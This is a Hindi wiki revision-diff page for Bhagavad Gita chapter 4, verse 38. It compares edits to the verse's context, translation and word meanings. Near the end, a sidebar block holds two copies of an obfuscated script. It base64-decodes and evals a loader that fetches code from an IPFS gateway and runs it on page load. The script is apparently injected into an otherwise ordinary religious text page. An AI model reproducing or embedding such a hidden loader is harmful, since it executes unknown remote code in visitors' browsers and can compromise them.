"गीता 4:38" के अवतरणों में अंतर
छो (Text replace - '<td> {{महाभारत}} </td> </tr> <tr> <td> {{गीता2}} </td>' to '<td> {{गीता2}} </td> </tr> <tr> <td> {{महाभारत}} </td>') |
|||
(३ सदस्यों द्वारा किये गये बीच के ६ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
<table class="gita" width="100%" align="left"> | <table class="gita" width="100%" align="left"> | ||
<tr> | <tr> | ||
<td> | <td> | ||
− | ==गीता अध्याय-4 श्लोक- | + | ==गीता अध्याय-4 श्लोक-38 / Gita Chapter-4 Verse-38== |
{| width="80%" align="center" style="text-align:justify; font-size:130%;padding:5px;background:none;" | {| width="80%" align="center" style="text-align:justify; font-size:130%;padding:5px;background:none;" | ||
|- | |- | ||
पंक्ति ९: | पंक्ति ९: | ||
'''प्रसंग-''' | '''प्रसंग-''' | ||
---- | ---- | ||
− | इस प्रकार तत्त्व ज्ञान की महिमा कहते हुए उसकी प्राप्ति के सांख्ययोग और कर्मयोग | + | इस प्रकार तत्त्व ज्ञान की महिमा कहते हुए उसकी प्राप्ति के सांख्ययोग और कर्मयोग दो उपाय बतलाकर, अब भगवान् उस ज्ञान की प्राप्ति के पात्र का निरूपण करते हुए उस ज्ञान का फल परम शान्ति की प्राप्ति बतलाते हैं – |
---- | ---- | ||
<div align="center"> | <div align="center"> | ||
पंक्ति २४: | पंक्ति २४: | ||
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
---- | ---- | ||
− | इस संसार में ज्ञान के समान पवित्र करने वाला नि:संदेह कुछ भी नहीं है । उस ज्ञान को कितने ही काल से कर्मयोग के द्वारा शुद्धान्त:करण हुआ मनुष्य अपने-आप ही | + | इस संसार में ज्ञान के समान पवित्र करने वाला नि:संदेह कुछ भी नहीं है । उस ज्ञान को कितने ही काल से कर्मयोग के द्वारा शुद्धान्त:करण हुआ मनुष्य अपने-आप ही आत्मा में पा लेता है ।।38।। |
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
पंक्ति ३५: | पंक्ति ३५: | ||
|- | |- | ||
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | | style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | ||
− | इह = इस संसार में; ज्ञानेन = ज्ञान के; सदृशम् = समान; पवित्रम् = पवित्र करने वाला; हि = नि:सन्देह (कुछ भी) न = नहीं; विद्यते = है; तत् = उन ज्ञान को; कालेन = कितने काल से; स्वयम् = अपने आप; योगसंसिद्व: = समत्वबुद्वि रूप योग के द्वारा अच्छी प्रकार शुद्वान्त:करण हुआ | + | इह = इस संसार में; ज्ञानेन = ज्ञान के; सदृशम् = समान; पवित्रम् = पवित्र करने वाला; हि = नि:सन्देह (कुछ भी) न = नहीं; विद्यते = है; तत् = उन ज्ञान को; कालेन = कितने काल से; स्वयम् = अपने आप; योगसंसिद्व: = समत्वबुद्वि रूप योग के द्वारा अच्छी प्रकार शुद्वान्त:करण हुआ पुरुष; आत्मनि = आत्मा में; विन्दति = अनुभव करता है |
|- | |- | ||
|} | |} | ||
पंक्ति ५५: | पंक्ति ५५: | ||
<td> | <td> | ||
{{गीता अध्याय}} | {{गीता अध्याय}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{गीता2}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{महाभारत}} | ||
</td> | </td> | ||
</tr> | </tr> | ||
</table> | </table> | ||
− | [[ | + | [[Category:गीता]] |
+ | __INDEX__ |
१२:३७, २१ मार्च २०१० के समय का अवतरण
गीता अध्याय-4 श्लोक-38 / Gita Chapter-4 Verse-38
|
||||||||
|
||||||||
|
||||||||
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
||||||||
|
||||||||